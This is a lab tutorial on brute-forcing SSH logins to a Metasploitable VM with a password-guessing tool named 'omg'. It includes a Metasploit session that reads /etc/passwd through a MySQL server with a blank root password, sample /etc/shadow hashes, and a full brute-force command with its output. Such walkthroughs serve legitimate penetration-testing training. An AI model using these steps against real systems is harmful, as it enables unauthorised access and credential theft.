ContentsWe will use omg to brute-force SSH logins.UsageIf we just type omg, we can see the basic usage:
[email protected]:~# omg omg v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.Syntax: omg [-C FILE] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -t TASKS run TASKS number of connects in parallel (per host, default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help)Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3-{cram[s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmppomg is a tool to guess/crack valid login/password pairs. Licensed under AGPLv3.0. The newest version is always available at http://www.thc.org/thc-omgDon't use in military or secret service organizations, or for illegal purposes.Example: omg -l user -P passlist.txt ftp://192.168.0.1ProcedureCracking with omg proceeds as follows:Get a host or list of hosts to attackGet a username or list of usernames from the host to try and crackGet a wordlist or list of passwords to tryRun omgThe ideal scenario is that we can brute force an SSH login for the root user. However, many OpenSSH servers disable root login by default. To be successful, we will need to obtain or guess a username or list of users on the system.This can be done in a couple of different ways.Two methods that utilize SQL servers are covered in Metasploitable/MySQL and Metasploitable/Postgres. Both pages cover techniques for obtaining /etc/passwd contents with metasploit.Another method that will tell you which users can log in remotely and which cannot is to obtain the /etc/shadow file. However, if you have /etc/shadow, you can just crack the passwords offline with John the Ripper, so...... don't use omg if you have /etc/shadow.There are other techniques that don't rely on technology - using social engineering, for example, to figure out the schema used for usernames.Once you have a list of users, you'll need some wordlists to construct passwords to try.Step by StepObtaining UsernamesIf you do happen to have access to /etc/passwd and the list of users on the system, this is idea. Here's a recap of how to get the contents of that file from the MySQL server. Here, we're using a username of root and a password of (blank) to crack the MySQL server at 10.0.0.27:
[email protected]:~# msfconsolemsf > use auxiliary/admin/mysql/mysql_sqlmsf auxiliary(mysql_sql) > set USERNAME rootUSERNAME => rootmsf auxiliary(mysql_sql) > set PASSWORD ''PASSWORD =>msf auxiliary(mysql_sql) > set RHOST 10.0.0.27RHOST => 10.0.0.27msf auxiliary(mysql_sql) > set SQL select load_file(\'/etc/passwd\')SQL => select load_file('/etc/passwd')msf auxiliary(mysql_sql) > run[*] Sending statement: 'select load_file('/etc/passwd')'...[*] | root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shdhcp:x:101:102::/nonexistent:/bin/falsesyslog:x:102:103::/home/syslog:/bin/falseklog:x:103:104::/home/klog:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologinmsfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bashbind:x:105:113::/var/cache/bind:/bin/falsepostfix:x:106:115::/var/spool/postfix:/bin/falseftp:x:107:65534::/home/ftp:/bin/falsepostgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashmysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/falsetomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/falsedistccd:x:111:65534::/:/bin/falseuser:x:1001:1001:just a user,111,,:/home/user:/bin/bashservice:x:1002:1002:,,,:/home/service:/bin/bashtelnetd:x:112:120::/nonexistent:/bin/falseproftpd:x:113:65534::/var/run/proftpd:/bin/falsestatd:x:114:65534::/var/lib/nfs:/bin/falsesnmp:x:115:65534::/var/lib/snmp:/bin/false |[*] Auxiliary module execution completedBingo, now you have a list of users. Some of these may not be set up to log in remotely, but you'd be surprised. Most of the users also have a bash shell set!Reading /etc/shadowIf you have access to /etc/shadow, you have access to the encrypted passwords offline. DON'T USE omg! It is way, way slower to crack passwords online with a live system than it is to crack them offline. If you have /etc/shadow, use John the Ripper to crack passwords.Her's how to read the /etc/shadow file:root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::daemon:*:14684:0:99999:7:::bin:*:14684:0:99999:7:::sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::There are 8 fields per line:Username : It is the login name.Password : It is the encrypted password. The password should be minimum 6-8 characters long including special characters/digits and more.Last password change (lastchanged) : Days since Jan 1, 1970 that password was last changedMinimum : The minimum number of days required between password changesMaximum : The maximum number of days the password is valid (after that user is forced to change his/her password)Warn : The number of days before password is to expire that user is warned that his/her password must be changedInactive : The number of days after password expires that the account is disabledExpire : days since Jan 1, 1970 that account is disabled i.e. an absolute date specifying when the login may no longer be used.The most important two fields are the first two:root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::daemon:*:14684:0:99999:7:::bin:*:14684:0:99999:7:::sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::The root and sys users can both log in, and we have the hash of their passwords.However, the * (or a ! character) in place of a password hash means that account cannot be used for remote logins.This reduces the list of usable usernames to:
[email protected]:~# cat users_filerootsysklogmsfadminpostgresuserserviceStartCommand Line OptionsRunning omg requires specifying a few flags, and the flags depend on whether you are trying a single username/password or multiple usernames/passwords.Single username/single password:-l to specify a single login username-p to specify a single passwordMultiple usernames/multiple passwords:-L to specify a file with a list of usernames-P to specify a file with a list of passwords to tryYou can also specify a number of tasks to run in parallel:-t TASKS to specify how many tasks to run in parallel (default is 16)You must also specify the target machine address, and the protocol (ssh or something else), all on the command line.$ omg -l root -P /root/password.txt 192.168.0.128 sshCommand Line CommandHere's an example of a final command:# omg -L users_file -P 500-worst-passwords.txt ssh://10.0.0.27:22omg v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.omg (http://www.thc.org/thc-omg) starting at 2016-03-25 21:45:13[WARNING] Restorefile (./omg.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...[DATA] max 4 tasks per 1 server, overall 64 tasks, 3549 login tries (l:7/p:507), ~13 tries per task[DATA] attacking service ssh on port 22[STATUS] 44.00 tries/min, 44 tries in 00:01h, 3505 todo in 01:20h, 4 activeThis is extremely slow when compared to an offline password-cracking method like John the Ripper - online cracking should only be used as a last resort. If it is possible to obtain the password hashes from /etc/shadow or elsewhere, and crack offline, do that instead.Brute-forcing SSH logins requires a lot of time, a lot of patience, and a series of very good guesses. In general, it is not a terribly practical way to do it, unless you've got extra/insider information.omg is not just for cracking SSH servers. The following is a list of other protocols that can be cracked using omg:afpciscocisco-enablecvsfirebirdftphttp-gethttp-headhttp-proxyhttps-gethttps-headhttps-form-gethttps-form-posticqimapimap-ntlmldap2ldap3mssqlmysqlncpnntporacle-listenerpcanywherepcnfspop3pop3-ntlmpostgresrexecrloginrshsapr3sipsmbsmbntsmtp-authsmtp-auth-ntlmsnmpsocks5ssh2teamspeaktelnetvmauthdvncDr. Chaos guide to using omg: http://www.drchaos.com/breaking-ssh-vnc-and-other-passwords-with-kali-linux-and-omg/
